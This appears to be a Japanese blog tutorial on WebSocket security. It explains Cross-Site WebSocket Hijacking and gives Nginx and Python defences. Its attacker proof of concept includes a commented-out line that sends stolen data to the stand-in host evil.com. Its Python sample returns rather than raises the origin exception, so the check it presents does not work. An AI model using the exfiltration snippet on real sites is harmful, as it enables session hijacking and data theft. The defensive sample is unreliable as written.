【実務・中級編】 Webソケット(WebSocket)のセキュリティとクロスサイト攻撃 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

お疲れ。最近、APIのリアルタイム化やチャット機能、ダッシュボードのライブアップデートなんかでWebSocketを使う案件が急増しているよな。HTTPのオーバーヘッドを削減できるし、双方向通信の利便性は開発者にとってたまらない魅力だ。

だがな、ペネトレーションテストの現場にいると、このWebSocketが「セキュリティ上の巨大な死角」になっているケースがあまりにも多い。HTTPと同じノリで認証やオリジン検証をサボっているアプリケーションが、いまだに野放しにされているんだ。

今回は、実戦でレッドチームがどうやってWebSocketを踏み台にするか、そしてそれをどうやって完璧に封じ込めるのか、俺の経験を交えて徹底的に叩き込んでやる。手を動かして、今日の明日でプロダクションコードを修正してくれ。

—

1. なぜWebSocketは標的になるのか?(HTTPセッションとの決定的な違い)

多くのエンジニアが陥る罠が、「Cookieベースの認証が動いているからWebSocketも安全だろう」という思い込みだ。

確かに、ブラウザからWebSocketのハンドシェイク(接続要求)が飛ぶ際、通常のHTTPリクエストと同様にCookieが付与される。ここまではいい。問題は、「ハンドシェイクが完了した後のメッセージングフェーズ」だ。

HTTPであれば、リクエストごとにCSRFトークンや認証ヘッダーの検証をフレームワークが勝手にやってくれる(あるいは意識しやすい)。しかし、WebSocketは一度コネクションが確立されると、その後のメッセージのやり取りは単なるTCP上のストリーム(あるいはフレーム)になる。ここで適切なオリジン検証や、メッセージごとの認可チェックが抜けていると、どうなるか?

攻撃者は、被害者のブラウザを強制的に踏み台にして、内部ネットワークやセキュアなAPIセッションへ不正なコマンドを送り込むことができる。これが CSWSH(Cross-Site WebSocket Hijacking) だ。

—

2. 攻撃者の視点:CSWSHのメカニズムとPoCの現実

CSWSHの仕組みは単純だが極悪だ。
攻撃者は自身の管理する悪意あるWebサイト(例: https://evil.com)に被害者を誘導する。そのページ内から、ターゲットの社内システムや脆弱なWebアプリのWebSocketエンドポイント(例: wss://target-app.com/ws)へ接続を試みる。

ここで、ターゲットサーバー側が Origin ヘッダーを検証していなかった場合、どうなるか?
ブラウザは仕様通り、自動的にターゲットのセッションCookieを付与してハンドシェイクのリクエストを送信してしまう。サーバーは「お、認証済みユーザーからの接続だな」と勘違いしてコネクションを許可し、そこから機密データの窃取や、勝手なコマンド実行(チャットの乗っ取り、遠隔操作など)が成立してしまうのだ。

攻撃者のPoCコード(イメージ)

以下は、攻撃者が用意する悪意あるページのJavaScriptコードの抜粋だ。

// 攻撃者のドメイン(evil.com)からターゲットのWebSocketへ接続を試みる
// 被害者がターゲットアプリにログインしていれば、Cookieが自動送信される
const ws = new WebSocket('wss://target-app.com/ws');

ws.onopen = function(event) {
    console.log('[+] CSWSH 接続成功。セッションを強奪しました。');
    
    // サーバー側で認証チェックやメッセージの認可がない場合、任意のコマンドを送信可能
    ws.send(JSON.stringify({
        action: 'get_private_data'
    }));
};

ws.onmessage = function(event) {
    console.log('[+] 盗み出した機密データ:', event.data);
    
    // 攻撃者のサーバーへデータを転送する処理へ流し込む
    // navigator.sendBeacon('https://evil.com/log', event.data);
};

見ての通り、攻撃者側で特別な脆弱性(XSSなど)を仕込む必要すらない。被害者が「うっかり悪踏みサイトを開いた」だけで、ブラウザが勝手にセッションを運んでいってくれる。これがWebSocketセキュリティの怖いところだ。

—

3. 徹底防御:セキュアなWebSocket実装の3大原則

この脅威を防ぐには、以下の3つのレイヤーで確実にガードを固める必要がある。

1. 厳格な Origin ヘッダーの検証(ハンドシェイク時)
2. トークンベースの認証の確実なハンドシェイク(Cookieにだけに頼らない)
3. メッセージペイロードのスキーマ検証と認可(メッセージ単位のバリデーション)

口で言うのは簡単だな。じゃあ、実際のコードでどう実装するかを見せよう。

—

実装サンプル 1: Nginx / リバースプロキシ層でのオリジンチェック

アプリケーションサーバーの手前にいるNginxなどのリバースプロキシで、怪しい Origin を弾くのが最初の防衛ラインだ。

server {
    listen 443 ssl;
    server_name target-app.com;

    # SSL設定は省略...

    location /ws {
        # 1. 接続元(Origin)のホワイトリスト検証
        # 自社ドメイン以外のOriginからのハンドシェイクをここで即座に拒否する
        if ($http_origin != "https://target-app.com") {
            return 403;
        }

        proxy_pass http://backend_websocket_servers;
        proxy_http_version 1.1;
        
        # WebSocketのアップグレードに必要なヘッダー設定
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $host;
        
        # バックエンドへ実際のクライアントIPやOriginを引き渡す
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

—

実装サンプル 2: バックエンド(Python / WebSocketsライブラリ)でのセキュアなハンドシェイクとメッセージ検証

次に、アプリケーションサーバー側の実装だ。ここではPythonの websockets ライブラリを例に取るが、Node.js (ws) でも Go でも思想は同じだ。

ハンドシェイク時に独自のトークン(Query Parameterやカスタムヘッダー)を要求し、さらにメッセージ受信時のバリデーションを徹底するサンプルを書いておく。

import asyncio
import json
import websockets

# 許可されたオリジンの定義(開発環境と本番環境で切り替えること)
ALLOWED_ORIGINS = {
    "https://target-app.com",
    "https://staging.target-app.com"
}

async def authenticate_connection(path, request_headers):
    """
    接続時の認証とオリジン検証を行う関数
    """
    # 1. Originヘッダーのチェック(CSWSH対策)
    origin = request_headers.get("Origin")
    if origin not in ALLOWED_ORIGINS:
        print(f"[-] 不正なOriginからの接続試行を拒否: {origin}")
        return websockets.exceptions.InvalidOrigin(origin)

    # 2. クエリパラメータ等から認証トークンを取得して検証
    # ※ Cookieに依存せず、ハンドシェイク時にセキュアなトークン(JWTや一時トークン)を渡させるのが安全
    # 例: wss://target-app.com/ws?token=xxxxxx
    query_string = path.split("?")[1] if "?" in path else ""
    params = dict(param.split("=") for param in query_string.split("&") if "=" in param)
    token = params.get("token")

    user_id = verify_token_and_get_user(token)
    if not user_id:
        print("[-] 認証失敗: 無効なトークン")
        return None # 接続拒否

    return user_id

def verify_token_and_get_user(token):
    # ダミーのトークン検証ロジック(実際にはJWTの署名検証やDB照会を行う)
    if token == "valid-secret-session-token":
        return "user_12345"
    return None

async def handler(websocket, path):
    # ハンドシェイク時の検証
    # ※ websockets v10以降の server 構文に合わせたセキュアなルーティング設計
    user_id = await authenticate_connection(path, websocket.request_headers)
    if not user_id:
        await websocket.close(code=4001, reason="Unauthorized")
        return

    print(f"[+] ユーザー {user_id} とのセキュアな接続が確立されました。")

    try:
        async for message in websocket:
            # 3. メッセージ内容のバリデーション(インジェクションや不正操作の防止)
            try:
                data = json.loads(message)
            except json.JSONDecodeError:
                await websocket.send(json.dumps({"error": "Invalid JSON format"}))
                continue

            action = data.get("action")
            
            # メッセージのスキーマチェックと認可
            if action == "update_status":
                status = data.get("status")
                # 型チェックと許容値の厳密な検証
                if not isinstance(status, str) or status not in ["online", "offline", "busy"]:
                    await websocket.send(json.dumps({"error": "Invalid status value"}))
                    continue
                
                # 処理の実行
                await process_status_update(user_id, status)
                await websocket.send(json.dumps({"result": "success"}))
            
            else:
                await websocket.send(json.dumps({"error": "Unknown action"}))

    except websockets.exceptions.ConnectionClosed as e:
        print(f"[-] 接続が閉じられました: {e}")

async def process_status_update(user_id, status):
    # 実際のビジネスロジック(DB更新など)
    print(f"User {user_id} updated status to {status}")

# サーバーの起動
start_server = websockets.serve(handler, "0.0.0.0", 8765)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

—

4. チーフエンジニアからの実務アドバイス

いいか、現場でコードレビューをするときや設計を行うときは、次のチェックリストを必ず自分の目で確認しろ。

1. 「Cookieだけで認証していませんか?」
WebSocketの仕様上、ブラウザからの接続ではCookieが自動送信されるため、CSWSHの格好の餌食になる。可能な限り、ハンドシェイクのURLクエリや初期メッセージでCSRF耐性のある短期トークンをやり取りする設計に変えろ。
2. 「Originヘッダーを * やスルーにしていませんライブラリのデフォルトに頼っていませんか?」
フレームワークによっては、デフォルトで Origin の検証を厳しく行っていないものがある。必ず明示的に自社ドメインのホワイトリストをコードまたはリバースプロキシ(Nginx等)で強制すること。
3. 「メッセージをJSON.parseしただけで信用していません?」
WebSocket経由で飛んでくるJSONは、HTTPのPOSTリクエストと同じだ。型チェック、必須パラメータの有無、そして「そのユーザーがそのアクションを実行する権限を持っているか(BOLA / IDOR対策)」を、メッセージ受信のたびに必ずコードで担保しろ。

リアルタイム通信はアプリをリッチにするが、設計を誤れば社内システムや顧客データを外に丸裸にする一番の近道になる。
「動けばいい」ではなく、「攻撃者の視点でも隙がないか」を常に意識してコードを書くこと。頼んだぞ。

コメント

タイトルとURLをコピーしました